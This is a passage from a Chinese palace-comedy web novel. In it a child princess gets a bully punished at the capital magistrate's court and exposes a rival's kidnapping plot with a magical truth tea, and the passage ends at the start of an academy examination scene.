团团看了看铜牌,又看了看萧杰昀,小脸上全是困惑:“皇伯父,为什么,你跟这铜牌,比跟太后娘娘还亲近?”
萧杰昀心头一跳:“你说什么?”
什么叫,这个铜牌比太后跟朕更亲?太后是个大活人啊!
这铜牌不过就是个物件,难道,它曾经属于某人?
团团摇了摇头:“我也不懂诶!好奇怪啊!”
“皇伯父,你去找那个老婆婆问问,不就知道啦!”
“这铜牌给你啦,我想回家,皇伯父。”
萧杰昀这才想起来,回头一看,一大群奴才都在自己身后跟着,马车也在。
于是走到马车旁,将团团亲手放进马车:“将郡主送回宁王府,不得有误。”
“是!”
团团从窗户里探出小脑袋:“皇伯父,我走啦!你要好好吃饭啊!”
萧杰昀微微一笑,冲她点了点头。
团团带着一马车的御膳回到了王府。
“娘亲!我带了好多好多好吃的东西给你们哦!都是皇伯父给的!”
程如安一脸惊讶:“皇伯父给的?你进宫了?”
“对啊!“团团很是得意:”我让我徒弟带我去的!他是我的学生,要听我的嘛!”
“皇伯父陪我吃了饭,我把好吃的带回来给你们也吃!”
程如安哭笑不得:“这天下蹭饭能蹭到皇宫里的,估计也只有你一个了。哪有你这样的,去人家吃饭,还连吃带拿的!”
团团一脸的理所当然:“有好东西当然要往家里拿啊!”
至于寿成宫中的事,她半个字都没提,说出来,娘亲又要掉眼泪啦!
她却不知,送自己回来的小太监,就是那个在她被带走时跑回去报信的。
这小太监从小便在宫中伺候,为人颇为伶俐。
见皇帝对小郡主如此偏爱,便将今日太后宫中发生的事,悄悄告诉了带着下人搬食盒的萧二。
“您是没瞧见,陛下盛怒!小郡主今日可是受了不小的惊吓呢。”
萧二忙道:“多谢公公相告,辛苦公公送我们小小姐回来。”
他想了想,掏光了身上的所有的银子,都塞给了小太监,小太监笑眯眯地接了,离开了王府。
当晚,一家人开开心心地吃了一顿御膳,团团睡下了。
萧二这才来求见,将事情原原本本地禀告了萧元珩夫妇。
萧元珩沉吟半晌:“萧二,从明日起,王府的事你不用惯了,以后就跟着团团,有你在她身边,本王才能安心。”
萧二正色道:“是!必不负王爷所托!”转身就走。
程如安急忙补上一句:“萧二,去账房,领二十两银子去。”
萧二一愣:“王妃娘娘,没用那么多,给那小太监也就五两多。”
程如安微微一笑:“去吧,以后每个月都去领这个数,这孩子出门看见什么都想要,你得留些银子在手里才方便。”
“不够便再去支,多了的也不必交回,自己留着吧。”
萧二抱拳:“谢王妃!”退下了。
夫妻两人互相对视,程如安眉头紧锁:“王爷,这可如何是好?团团今日,是把太后给得罪狠了。”
“这孩子,回来竟半个字都没提,报喜不报忧的,想来是怕咱们知道了会担心。”
萧元珩想了想,哼了一声:“团团既跟太后撕破了脸,便是咱们宁王府跟太后撕破了脸。”
“本王尸山血海里拼杀出来的功名,难道是为了看着自己的心头肉受委屈的?”
“本王一生忠烈,护卫江山社稷。倘若连自家女儿都护不住,岂非成了天大的笑话?”
“只要我萧元珩在一日,就断不会让任何人伤团团分毫。太后若执迷不悟,本王便让她知道,什么叫舐犊之情,可撼山河。”
程如安看着丈夫,欣然一笑:“有夫如此,妾身与有荣焉,别无所求。”
于是,次日一早,迷迷糊糊睡醒,穿好了衣裳坐在饭桌旁的团团就发现,萧二站在了自己身后。
萧二皮肤黝黑,身材高大,站在那细细白白的小团子身后,活像一个大熊瞎子守着一只小白兔。
连程如安都看乐了。
团团听娘亲说,以后萧二会跟着自己,若是遇到坏人,萧二就会保护自己,不禁大为高兴。
这个人可是很厉害的,爹爹做什么都带着他呢,以后有他在,看谁还敢欺负我!
“二叔叔!”她脆生生地喊了一声。
第102章 咱们这就去京兆府!
萧二吓了一跳,两只手全举在了胸前,不停摆手:“不,不行,不是,不敢当。”
团团一脸疑惑地看向母亲:“不行吗?”
程如安微微一笑:“无妨。”
“二叔叔!”团团又喊了一声。
萧二见王妃准了,这才勉强的点了下头。
“二叔叔,你饿不饿啊?坐下陪我一起吃吧。”
萧二垂摇了摇头,自己是王府侍卫,哪有跟主子一起同桌吃饭的道理。
团团眼珠转了转,放下手中小勺,小心翼翼地捧起自己面前那碟还没动过的金丝奶酥卷,踮起脚尖递过去。
“二叔叔,给你!可甜啦!”
萧二一愣,黝黑的脸上闪过一丝错愕:“谢郡主!末将不饿!”
“我让你吃嘛!”团团的小手又往前递了递。
萧二下意识看向程如安,见王妃微微颔首,这才伸出大手,接过那碟精致的点心:“多谢郡主。”
他三两口便将点心吃完,将碟子悄悄放回桌上,随即退后几步,依旧站得笔直。
团团眨巴着大眼睛:“二叔叔,你吃了点心,不渴吗?”
萧二下意识挺直腰板:“回郡主,末将不渴!”
“哦——!”团团拖长了声音,又拿起一碟看起来就十分酥脆、干得掉渣的芝麻绿豆糕,再次递了过去:“这个也好吃!二叔叔你尝尝嘛!”
“郡主,这……”萧二想拒绝。
“你快拿着嘛!我举得好累哦!”
萧二无奈,只得再次接过,硬着头皮吃了下去。
绿豆糕的碎屑噎在喉咙里,让他忍不住暗自咽了好几口唾沫。
团团目不转睛地盯着他:“二叔叔,你现在渴不渴呀?”
萧二黝黑的大脸透出了一点红色,老实地点了点头:“回郡主,有一点。”
团团立刻开心地笑了,指了指自己身旁的空位:“那你坐下喝碗粥呀!这粥太烫啦,我没办法捧着给你喝哦。”
“郡主,这于礼不合!末将……”萧二还想再坚持一下。
“坐下嘛!”团团打断了他,瘪起了嘴:“就喝碗粥嘛!”
程如安在一旁看得暗自好笑,却没有出声。
萧二看着桌上那碗冒着热气的粥,僵硬地挪动脚步,在那张铺着锦垫的凳子上,堪堪坐了半个屁股,腰板依旧挺得笔直。
他端起碗,几乎是狼吞虎咽地将那碗温热的粥灌了下去,这才长长舒了口气,舒服了。
“嘻嘻!”团团拍着小手,笑得格外开心,“你看,你这不是坐了嘛!以后呢,都要这样,陪着我吃哦!”
萧二放下空碗,看着眼前笑得一脸灿烂的小团子,忽然觉得,守护这位小郡主,虽然,跟王爷以往交给自己的所有任务都不同。
但是,好像,还挺有意思的。
“末将……遵命。”
程如安忽然想起一事:“刘嬷嬷,前几日在‘玲珑阁’订的那几件首饰,算着日子,差不多该得了,你派人去瞧瞧,若好了便取回来吧。”
“是。”刘嬷嬷点头应下。
“取首饰?”团团抬起头:“娘亲!我去我去!”
程如安笑着问道:“你今日不用去国子监吗?”
团团连连摇头:“他们都在准备考试,我去了就是坐着看着他们,不去了,不去了。”
见母亲不点头,团团急忙小手一指身后的萧二:“有二叔叔陪着我呢!”
程如安看着她充满渴望的小脸,又瞥了一眼沉稳的萧二。
玲珑阁离王府倒是不远,光天化日,快去快回,倒也无妨。
王府里如今没人陪着她玩,出去走走也好。
她温柔地给女儿整理了一下衣裳:“好吧,那你去吧,不过,不许去别处乱逛啊,取了东西便回来。”
“知道啦!娘亲最好啦!”团团欢呼一声,拉着萧二的大手就往外跑。
来到玲珑阁,掌柜的听说是王府的小姐来了,急忙将一个首饰盒捧了出来,满脸堆笑:“您来得正好,可巧刚完工。”
团团打开盒子,里面是一对赤金螺丝镶红宝的镯子和一支点翠蝴蝶簪,精巧夺目。
“好漂亮啊!”她刚拿起簪子刚想细看,就听得店外街上一阵喧哗哭喊,夹杂着嚣张的辱骂声。
咦,怎么外面突然这么热闹?
她把簪子往盒子里一放,盖上盒子塞给掌柜:“先帮我收着!”
说完,拉着萧二就往外冲,“二叔叔,咱们去看看!”
刚踏出店门,就看到不远处围了一群人,萧二一把将她抱了起来,挤了进去。
一个衣着华丽的年轻公子哥儿,正趾高气扬地指挥着几个家丁模样的壮汉,对着地上一个蜷缩着的人拳打脚踢。
被打的人穿着一身洗得发白的旧袍子,怀里死死护着一个长长的、像是画筒的东西,任凭拳脚落在身上,愣是没让那筒子脱手。
他被打得满地翻滚,却仍挣扎着喊:“天子脚下!慕容齐!你,你们!没有王法了吗?”
慕容齐冷笑了一声:“王法?在我慕容家面前?我就是王法!”
“你爹当年在工部时就处处跟我爹作对,现在被贬了,活该!”
“你不过是做出了几个还能看的小玩意儿,就真当自己是什么‘工部神童’了?”
“我呸!看看你现在这副德行,连条狗都不如!”
地上的男子躲避着踢打,翻来滚去间,露出了脸庞。
团团惊讶了,冯舟?怎么是他啊!
眼见一个家丁的脚又要狠狠踹下去,团团大喊一声:“住手!不许打我的人!”
冯舟听到这熟悉的声音,猛地抬起了头。
待看清了那个粉雕玉琢的小团子的脸后,他一脸惊喜,脱口而出:“小盟主!”
随即便羞愧的低下了头,自己现在如此狼狈,怎么就这么巧,竟被她撞见了。
慕容齐被这突如其来的喝斥弄得一愣,循声望去,竟是个还被人抱在怀里,没自己腿高的小娃娃!
他顿时嗤笑出声,轻蔑地用脚尖踢了踢冯舟:
“你怎么都沦落到要认一个奶娃娃当盟主了?哈哈哈!盟主!什么盟?吃奶盟吗?”
那些家丁们跟着爆发出一阵哄笑。
“二叔叔!”团团小手一指慕容齐,“打他!打那些坏蛋!”
“是!”
萧二把她轻轻放在地上,身形如电,瞬间蹿出。
如同猛虎冲入羊群,那些刚才还嚣张跋扈的家丁,在他手下连一招都没走过。
只听得一阵“噼里啪啦”的拳脚声,眨眼功夫就全被放倒在地,哼哼唧唧地爬不起来了。
萧二一步跨到吓呆了的慕容齐面前,蒲扇般的大手带着风声就抓了过去。
慕容齐吓得魂飞魄散,尖声大叫:“你敢!我姑祖母是当今太后!我是慕容家嫡孙!你敢动我,我灭你满门!”
萧二的大手停在了半路,回头看向团团:“他说他是太后的侄孙,还能打吗?”
团团一听“太后”两个字,更是气不打一处来,又是那个老太婆!
“能!太能了!为什么不能打?打的就是他!狠狠地打!二叔叔!”
萧二再无顾虑。
那双刚刚还停滞的手,毫不犹豫地落下,一只手揪住了慕容齐,另一只手握成拳,专挑肉又厚,又能打得疼的地方招呼。
既让慕容齐疼得哭爹喊娘,又不至于真打出个好歹来。
一时间,整条大街上都能听见慕容齐杀猪般的惨叫声。
慕容齐何曾受过这等委屈,疼得龇牙咧嘴,却仍旧大喊:“你们!你们敢打我?!我要去京兆府告你们!我要让你们吃不了兜着走!”
团团眉毛一挑:“你想去京兆府?好呀!咱们去评评理,看看打人的坏蛋该不该揍!”
“二叔叔,带上他。”又指了指刚从地上爬起来的冯舟,“还有你,跟上,咱们这就去京兆府!”
第103章 重重的打
京兆府大堂,府尹李靖看着堂下这张熟悉的小脸蛋,又看了看一旁鼻青脸肿的慕容家少爷和狼狈不堪的冯舟,只觉得自己的太阳穴突突直跳。
这位活祖宗,真是走到哪儿,热闹就跟到哪儿。
上次是镇国侯府韦家的庶子,这次直接是太后的娘家人!
“咳!”李靖一拍惊堂木,“堂下所跪何人,因何事喧闹?”
“慕容公子,你且先起来回话。”他先给了慕容家一个面子。
慕容齐一脸得意,京兆府又怎样?我就不信京兆府敢不给我慕容家面子!
他一骨碌爬了起来,指着团团和萧二就开始恶人先告状:“府尹大人!您要为学生做主啊!”
“光天化日,这两个恶徒竟敢当街行凶,将我打成这般模样!还有没有王法了!”
团团小眉头一皱,指了指自己的鼻头:“我?恶徒?你见过我这么大的恶徒吗?”
两旁站着的衙役都忍不住发出了闷笑。
李靖咳嗽了一声,衙役们纷纷收声。
李靖转过头,实在是没忍住,对着身后的屏风无声的笑了一下,管理好了自己脸上的表情,才再度转身。
“小郡主,这是怎么回事儿啊?”
慕容齐一惊:“她不是盟主吗?怎么又是郡主了?哪家的郡主?”
萧二哼了一声:“这是我们宁王府的嘉佑郡主。”
慕容齐脸色变了变,仍旧嘴硬:“宁王府的郡主又怎么了?宁王府的郡主就能当街行凶了吗?”
团团小嘴一撇,声音清脆:“李大人,是他先欺负的他!”
她抬手一指冯舟:“他带着好多坏蛋,在街上打他,打得可凶了!我才让二叔叔拦住他们的!”
李靖看向冯舟:“这位公子,郡主所言是否属实?慕容公子因何打你?”
冯舟忍着身上疼痛,拱手道:“回大人,学生冯舟,因着急赶路,与慕容公子在街角不慎碰撞,但并未伤到他分毫。”
“学生已当即道歉。但慕容公子不依不饶,纵容家丁对学生拳脚相加。若非郡主相救,学生恐怕……”
“你胡说!”慕容齐尖叫打断,“分明是你这破落户故意撞我!李大人,您休要听他一派胡言!我慕容家……”
“肃静!”李靖惊堂木再响,打断了慕容齐的自报家门。
心中已然明了,这慕容齐是跋扈惯了,撞了人还倒打一耙。
“慕容公子,”李靖面色一沉,“依你之言,是冯舟故意撞你在先?”
“正是!”
“好。那便如你所言,碰撞之事,是他有错在前。”
“但本官问你,纵奴行凶,当街殴打他人,致使冯舟身上多处受伤,你认是不认?”李靖的声音带着官威。
慕容齐一愣,梗着脖子道:“是他先出言不逊!我教训他一下,有何不可?”
“有何不可?”李靖冷笑一声,“天子脚下,朗朗乾坤,岂容你擅用私刑?按刑律,当街斗殴,致人轻伤者,杖二十,监禁十日!来人啊!”
慕容齐吓了一哆嗦,惊怒交加:“府尹大人!你!你难道不顾太……”
“不过!”李靖及时打断了他的话头,”念你是初犯,又是官宦之后,本官给你两条路走。”
“一,按律受刑,杖责监禁。”
“二,允你私下和解,向冯公子赔付他治愈身上伤情,请医拿药的费用白银一百两,并当堂向其致歉。本官或可酌情发落。”
慕容齐一听,什么?要他跟自家的对头之子道歉?那以后自己在家中岂不是要被所有人耻笑?
他指着李靖便骂:“李靖!你竟敢如此不公?”
“让我给他道歉?他算个什么东西!你不过就是京兆府的府尹,才官居三品,我慕容家……”
“放肆!”李靖猛地一拍惊堂木,这次是真动了怒,已经给足了你台阶,你自己不下,那就怪不得本官了。
“公堂之上,竟敢公然咆哮,威胁朝廷命官!”
“本官看你是不见棺材不掉泪!你慕容家?你慕容家还能大过王法去不成!”
“慕容齐,纵凶伤人,证据确凿,更兼不知悔改,咆哮公堂,藐视朝廷!数罪并罚,杖责三十!给本官立刻拖下去,重重地打!”
团团一听开心了,学着李靖的语调大声喊:“重重地打!”
衙役们如狼似虎地扑上来,将傻了眼还愣着的慕容齐拖到了堂下,杀猪般的惨叫声立刻响彻大堂。
本就被萧二胖揍了一顿,又挨了这三十大板,慕容齐已是奄奄一息,被衙役像拖死狗一样拖回堂上。
李靖冷哼一声:“慕容齐,今日之刑,是教你记住,这京城,是有王法的地方!押入大牢,候审!”
他留了个尾巴,虽严惩了慕容齐,又没把案子做死,给了太后娘家转圜的余地。
但慕容齐这皮肉之苦和牢狱之灾是免不了了。
李靖看向团团:“郡主路见不平,义勇可嘉。但日后若再遇此事,还是应先报官为好。”
团团才不管这些,坏人挨了打,她就开心:“知道啦,李大人!谢谢你啊!我们走啦!”
说完,她便带着萧二和步履蹒跚的冯舟,大摇大摆地离开了京兆府。
李靖看着他们的背影,长长舒了口气,又无奈地摇了摇头。
京官难做啊,这京兆府府尹的椅子,真是越来越烫屁股了。
一行人回到王府,程如安见到冯舟的样子吓了一跳,连忙吩咐人:“快去请大夫来!”
待听得自己的女儿竟然刚从京兆府的大堂上回来,更是吃惊:“你胆子也太大了!团团。”
团团毫不在意:“娘亲!是破太后家的人不讲理嘛!”
程如安都听呆了:“破,破太后?天哪,团团,在外面可不能这样说啊!”
团团小大人儿似的点了点头:“知道啦,娘亲!”
冯舟上前行礼:“王妃娘娘,小盟主,在下着急赶路,就是想把这张图纸交给小盟主。”
说完,把怀里的竹筒拿了出来,打开盖子,掏出了一卷纸,递给了团团。
“在下曾因画出了这张图纸而遭人陷害,只是当初偷我图纸的人并不知晓,那只是我尚未完工的草稿。”
“这些日子,我苦思冥想,将这图纸画完了,这才急匆匆的来找盟主,却不想路上撞了那慕容齐,反倒要盟主来为我出头,真是惭愧,惭愧。”
团团接过来展开看了一眼,便递给了萧二:“二叔叔,这个你看得懂。”
萧二一脸懵的接了过来,我能看懂?
他拿起图纸仔细看去,越看眼睛越亮:“小郡主说得不错,末将能看懂!”
第104章 去该听的人那里招吧
程如安闻言问道:“图纸上所绘何物?”
萧二将图纸捧给她:“是对军中现用弓弩的改造。”
程如安一听,便明白这图纸非同小可,连忙收了起来,等晚间萧元珩回府时交给他。
说话间,门外下人禀告:“王妃娘娘,大夫请来了。“
“快请。“
大夫为冯舟诊治了一番:“这位公子是皮外伤,并无大碍,只需涂抹些膏药,静养数日即可。“
程如安点了点头:“冯公子,多谢你相赠图纸。“
“你身上有伤,回去无人照顾,如不嫌弃,便在府中小住几日养伤如何?“
冯舟急忙行礼:“多谢王妃。“
程如安吩咐刘嬷嬷将冯舟带走安顿好。
“娘亲!我跟二叔叔去花园玩啦!“团团拉着萧二便跑。
程如安叹了口气,罢了,让她玩去吧,横竖还有萧二跟着。
同一时间,宸晖殿中。
长公主看了一眼面前的霍文萱:“回来了?家中可好?“
霍文萱低眉顺目,轻声细语:“家中一切安好,谢婶母记挂。“
她回身从身后侍女的手中拿过一件东西,恭恭敬敬地捧给长公主。
“即将入秋,天气转凉,母亲惦记着婶母,给婶母用蜀锦做了一个手炉的套子,命我带了回来。“
长公主微微颔首:“她有心了。只是,蜀锦价高,用来做这个,着实靡费了些。”
“如今旱情严重,正是四处都需要银两安置百姓之际,若有这些东西,不如换成银钱,买米施粥,做些实事。”
霍文萱脸色微变:“婶母所言极是,是母亲她太过挂念婶母了,没有想到这一层。”
长公主看着她:“你也该劝导家中,身为皇族宗亲,理应将百姓的疾苦放在心上,时刻不忘为君分忧,行事方才有度。”
“嘉佑郡主便做得极好,本宫听闻,她将自己的银两都交给了皇叔,让皇叔拿来赈济灾民,这才是皇家子弟该做的事情。”
霍文萱听到嘉佑郡主,脸色就沉了下来。
她此次回家,就是因为团团,挨了母亲好大一顿数落。
“废物!那小丫头又没住在宫中,只是同长公主见了几面,便事事都越过了你去!“
“家里为了帮你,费尽心思,寻了那些绑孩子的把她绑了,远远的送走,没成想竟功亏一篑。”
“你自小在你婶母身边,怎么就拢不住你婶母的心!“
“再这样下去,我们霍家在你婶母面前,就连站的地方都没有了!“
“很快便是秋猎,又要合宫见面,你自己好好想想吧!“
霍文萱暗暗咬牙,努力压制着心中的不甘:“是,婶母说的是。“
长公主看着她,叹了口气:“文萱,你在我身边多年,本该多多进益。”
“可是你呢,却只因嘉佑郡主强过了你,便心生嫉妒,处处挑衅,如此心胸狭窄,旁人只会当是本宫对你教导无方。”
“若你事事得体,本宫也面上有光。”
霍文萱头垂的更低了:“谢婶母教诲,文萱知错了。“
长公主摆了摆手:“下去吧。“
霍文萱行了一礼,退了出去。
当晚,宁王府。
萧元珩仔细看了冯舟的图纸,喜动颜色:“冯家这个小子果然名不虚传!若按此图将弓弩改进为连发,威力便可大增!”
“他日战场之上,能减少多少将士们的伤亡!”
程如安不懂这些,见丈夫高兴,她就放心了:“可怜冯舟,为了将这张图纸送过来,还挨了慕容齐一顿拳脚。”
“幸亏被团团撞见了,不但救下了他,还居然告上了京兆府的大堂。你说这孩子的胆子,得有多大!”
“她竟然还管太后叫破太后,说她家的人不讲理,该打。”
萧元珩朗声大笑:“破太后?哈哈哈哈哈……”
程如安哭笑不得:“王爷,您就不要再跟着孩子胡闹了。”
此时,门外侍卫求见,萧元珩收敛笑声:“进来。”
侍卫走进行礼:“启禀王爷,那三人刚刚已逃出了王府。”
程如安大惊:“哪三人?是掳走团团的那些人吗?”
萧元珩却没半点惊讶之色:“跟紧了,一丝一毫也不可放过。”
“他们去哪里落脚,见过什么人,说了什么话,吃了几口饭,都要一一回来禀告。”
“是!”侍卫领命退出。
程如安有些明白了:“王爷是,故意放走了他们?”
萧元珩点了点头:“这三人皆是市井之徒,重刑之下,仍只咬定是受长公主身边的人指使,却说不出具体名姓,可见他们确实不知。”
“我让他们放松警戒,故意露出破绽,放那三人出去,看看他们究竟会去联络何人。”
“竟敢在闹市之中动手,掳走我的女儿,若不擒住这背后主使之人,我寝食难安。”
程如安点了点头。
十几日之后,午时刚过,侍卫们不但又擒住了那三个歹人,还带回了一个年近二十岁左右的年轻女子。
“王爷,此女子便是与那三名歹人联络之人。“
“末将亲眼所见,她是从霍家的角门中走出来的,与这几人统共见了两次。“
“末将暗中查访,现已摸清,此女子是霍家主母的近身侍婢。”
“那几人向她索要钱财,说,就因为你让我们抓走的那个女娃,才让我们受了大刑,遭了大罪。“
“听到这里,末将便将他们一同带了回来。“
萧元珩面沉如水:“做得好!“
他低头看向跪在面前的年轻女子:“你有何话想说?“
女子满脸惊慌,却咬紧了牙关,一字不说。
萧元珩笑了:“你以为,你不说,便能保全自己?“
“来人!去把小小姐带过来。备车!本王要进宫!“
听到进宫,女子猛地抬起了头,脸上的惊慌变成了惊恐。
“将此女单独装一车,那三人装另一车。”
“是!”侍卫们将几人都带了下去。
女子被拖出去时才大叫起来:“王爷!请听我一言!王爷!”
听着她的声音逐渐消失,萧元珩才哼了一声,你既不愿在本王面前招认,那便去该听的人那里招吧。
不多时,正在园子里疯跑的团团被萧二领了进来。
“爹爹!你找我?”团团进门便扑到了萧元珩的怀里。
萧元珩大手一伸,将女儿抱起来便往外走:“走,团团,咱们进宫,去见你皇姑姑!”
团团开心了:“好诶!咱们去找皇姑姑玩!”
第105章 明明就是在撒谎
宸晖殿内,气氛凝重。
长公主听完了萧元珩条理清晰的陈述,又瞥了一眼殿下跪着的、面无人色的霍家婢女和三名绑匪。
她的脸色阴沉得可怕,看向站在面前,浑身微颤的霍文萱。
“文萱,你还有何话说?”
霍文萱“扑通”一声跪倒在地,泪如雨下:“婶母!文萱冤枉啊!”
她抬手一指那霍家婢女:“此人是我母亲身边的不假。但母亲她自己胆大妄为,做下如此错事,我又如何得知?”
那婢女猛地抬头看向她,一脸错愕。
霍文萱继续哭诉:“是了!我明白了。定是母亲见我每每因嘉佑郡主郁郁寡欢,心疼我,想为我出气,才会一时糊涂,犯下大错。”
她猛地转向萧元珩,连连磕头:“王爷明鉴!我对此事当真一无所知!母亲她爱女心切,铸成大错,我无话可说。”
“文萱情愿代她受罚,只求王爷和郡主高抬贵手,饶了我母亲这一次吧!”她说得情真意切,不停磕头,磕得额头上都渐渐渗出了血丝。
长公主面露不忍,到底是自己看着长大的孩子,又是驸马霍家的千金……
团团一直依偎中父亲的怀里,玩着他的衣角。
听到这里,抬起了小脸:“你撒谎!你明明什么都知道!还怪你娘亲!”
霍文萱猛地抬头,尖声反驳:“郡主!您确实受了委屈,但也不能如此血口喷人!”
她跪着向前,爬到长公主膝下,抱住她的腿,哭喊道:“婶母!您是最知道我的!我从小在您身边长大,受您教诲多年!”
“我确实嫉妒郡主,一时蒙了心,才在母亲面前总是抱怨。但那也不过是小女儿心思,担心您以后不再疼我。”
“婶母!难道您真的相信,您亲手养大的孩子,会是那等心思狠毒、指使他人掳走幼童的蛇蝎之人吗?!”
她哭得声嘶力竭,额头渗出的血丝滑下脸颊,混着泪水,看起来既狼狈又可怜。
长公主看着她,想起她幼时承欢膝下的模样,心中一阵酸软。
萧元珩一言不发,等着看长公主如何发落。
团团低头解开腰间绣囊,一阵翻找,刚想拿出一个东西,一抬头,却接触到父亲的目光。
见萧元珩瞄了一眼长公主,微微摇头,她又乖巧地塞了回去。
歪着小脑袋想了想,爹爹不愿意皇姑姑看见呢。
可是,她明明就是在撒谎!呀!对了!这个东西刚好!
她在绣囊里又翻腾了片刻,掏出了一个小纸包。
她将纸包放在身旁摆放茶盏的桌案上,打开,里面是一些亮黄色的粉末,带着香甜的味道,正是紫藤花的花粉。
萧元珩在她耳边轻声问道:“这是什么啊,团团?”
团团一脸狡黠:“这个啊,是我捡到的宝贝哦!”
她把粉末全倒进了自己那杯一口没喝的茶水之中。
然后满意地拍了拍手,这个就行啦!
她拿起那杯茶水,对霍文萱说:“你说你没撒谎?”
“那你敢不敢把这个喝了?”
长公主和霍文萱见状都是一愣。
萧元珩柔声问道:“团团,这是?”
“这是能让人说真话的水水哦!喝了就不会说假话啦!她要是喝了,再说什么我都信!”
霍文萱瞳孔一缩,厉声道:“你休想害我!谁知道这里面放了什么东西!毒药!对!毒药,你想毒死我吗?”
团团撇了撇嘴,当着众人的面,喝了一小口:“嗯,味道真不错!你看,没有毒哦!我都喝了。”
“你不敢吗?”
长公主看了看萧元珩,又看了看团团手中那杯没有任何异样的茶水,转向霍文萱:“既然无毒,你所言又非虚假,有何不可?”
“郡主有言在先,若你果真问心无愧,便饮下此茶。”
“本宫是你的婶母,倘若你当真无辜,本宫自会为你做主。”
霍文萱脸色煞白,看着长公主不容置疑的眼神,又看了一眼萧元珩的一脸肃然,心里明白,这杯茶,是躲不过去了。
这世间哪有什么能让人喝了便说出真话的东西?定是这死丫头在诈我!就看我敢还是不敢。
她心一横,接了过来,一仰头便全都灌了下去。
茶水入喉,无任何异样。
一颗心落到了肚子里,果然!
她整理了一下鬓角衣裙,恢复了几分仪态,开了口。
“哈哈哈!没错!就是我!就是我让我娘找人去绑你的!”
霍文萱听见自己的声音,满脸错愕。
“自从你出现,所有人都拿你跟我比!我说话是错,不说话也是错!”
“我恨不得你赶紧死!要不是我娘那个没用的,怕了你爹哪天会知道,只敢让人把你扔得远远的,你早就死了!”
“怎么了?我绑的就是你!谁让你抢走了属于我的一切!”
所有人目瞪口呆。
霍文萱慌得不行,抬起双手便去捂自己的嘴,但手刚摸到嘴唇便不受控制地垂了下来。
她猛地转向长公主,面露狰狞,积压多年的怨恨倾泻而出:
“还有你!婶母!我从小在你身边,像条狗一样地讨好你!”
“可你呢?你的眼睛是瞎了吗?对这个乡下抱回来的野丫头百般疼爱!她有什么好?我才是从小陪在你身边的人!”
她没办法捂嘴,急得紧紧掐住了自己的脖子,但依旧无法让自己闭嘴,如同疯魔了一般,又开始痛骂自己的家族。
“还有霍家!哈哈哈,霍家!你以为霍家是什么好地方?全是一群没用的酒囊饭袋!”
“为了霍家的荣华富贵,我娘她天天在我耳边念叨!‘咱们家就靠你了,你一定要讨好长公主,笼络长公主!’”
“‘笼络不住,你就是个废物!’”
“我受够了!你们想拿捏长公主,你们自己去啊!凭什么要我活得这么辛苦!凭什么——!”
一番歇斯底里的咆哮之后,霍文萱终于闭上了嘴,脸上的血色瞬间褪尽。
她惊恐得瞪大了双眼,像是才意识到自己都说了些什么,浑身一软,瘫倒在地,发出绝望的哭嚎。
萧元珩早在她喊出第一句时便紧紧捂住了女儿的两个小耳朵。
此时才缓缓放开,因此团团只听见了一阵模糊的尖叫,却没有听清楚霍文萱究竟都说了些什么。
“爹爹,她怎么了啊?”
萧元珩把女儿紧紧搂在怀里,冷冷地看着地上蜷缩的人影。
长公主缓缓地、缓缓地闭上了眼睛。
再睁开时,里面已是一片冰冷的决绝和深深的失望。
她看着地上的侄女,仿佛是在看一个陌生人。
第106章 你是他的师兄啊
宸晖殿内,一片寂静,只剩下霍文萱痛苦的呜咽声。
良久,长公主缓缓站起。
她一步一步,走到霍文萱面前,居高临下地俯视着这个她曾真心疼爱、悉心教导了多年的侄女。
“原来如此……”
长公主的声音很轻,却像裹着冰碴:“原来,在本宫身边的这些年,你心里装的,不是亲情,而是算计;不是敬爱,而是怨恨。”
霍文萱惊恐地抬起头,对上了长公主那双再无半点温情的眸子,浑身抖如筛糠:“婶母……不!不是的!我刚才说的都不是真的!”
“我,那都是胡言乱语!是,是那杯茶!对!就是那杯茶!那里面一定是有什么脏东西!”
“茶?”长公主嘴角勾起一抹极淡的笑容,“茶只会让人说真话,不会让人做错事。霍文萱,你让本宫……太失望了。”
她不再看地上烂泥般的人,目光转向萧元珩和团团:“皇叔,是本宫治下不严,识人不明,才致使郡主遭此大险。”
“本宫,给皇叔赔罪。”
说完,她向萧元珩深深行了一礼。
萧元珩急忙将团团拉到身后,自己坦然受了她的礼:“长公主言重了,她自己心思歹毒,与殿下何干。”
长公主直起身,转向殿外:“来人!”
殿外内侍应声而入。
“将霍文萱,即刻送回霍府!”
“传本宫懿旨:霍氏女文萱,心术不正,德行有亏,即日起,不准再踏入宸晖殿半步!”
“本宫与霍家,恩断义绝,再无瓜葛!”
“婶母!不要啊婶母!你难道忘了小叔了吗?他可是你的驸马啊!”霍文萱发出凄厉的惨叫,还想扑过去求饶,却被侍卫们毫不留情地架起,向殿外拖去。
“嘉佑郡主!都是她害的我啊!婶母——”
驸马!霍峻明!长公主心中大痛,眼看着她的背影消失,哭喊声渐渐远去,才疲惫地摆了摆手:“皇叔,这些人,便交予您处置吧。”
她看着萧元珩,面露难色:“本宫有一事相求,望皇叔应允。”
“请皇叔放霍家一马,毕竟是驸马的家人,本宫,于心不忍。”
萧元珩看着她,想起驸马和她的夫妻情深,想起驸马惨死沙场,为国而亡,犹豫了片刻后:“好。”
“但本王有言在先,若霍家再有不轨之举,本王绝不姑息。”
长公主点了点头:“多谢皇叔。”
萧元珩明白她的意思,这是长公主看在驸马的面子上,最后一次庇护霍家。
从此以后,霍文萱乃至整个霍家的死活,长公主都不会再过问了。
他抱起女儿,离开了皇宫。
转眼便来到了国子监大考的日子。
左正极领着团团,步履匆匆,直奔考室。
“大师兄?”刚走到门口,左正极脚步一顿,面露讶异,大师兄殷日敬?他不是在外游学吗?
一个面容古板、身形挺拔的中年男子正在门口负手而立。
他紧皱眉头,目光落在师弟手里牵着的小不点儿身上。
“左正极,此乃国子监重地,今日又是大考,你把家里孩子带来做什么?成何体统!”
左正极心知这位大师兄个性最是古板,暗叫不好,急忙解释:“大师兄误会了!这位是……”
“你是谁啊?”团团仰起小脸,仰望着面前的大人:“我是夫子哦,来监考的,你挡着我的路了。”
殷日敬一怔:“放肆!你一乳臭未干的幼童,怎会是我国子监的夫子!你来监考?笑话!”
“大师兄!慎言!”左正极急得额角冒汗,“这位是崔祭酒新拜的师父,咱们的小师祖啊!”
“胡闹!”殷日敬根本不信,只觉得荒谬至极,“师父他老人家德高望重,岂会行此儿戏之事!左正极,你再信口开河,休怪师兄我罚你!”
团团小嘴一撇:“原来,你是他的师兄啊!我徒弟的徒弟。”
“哼,连我都不认!等考完了,我去问崔代盛!”
殷日敬脸色铁青:“大胆!竟敢直呼师父他老人家的名讳!”
团团不再理他,拽了拽左正极的衣袖,“进去,不理这个笨木头。”
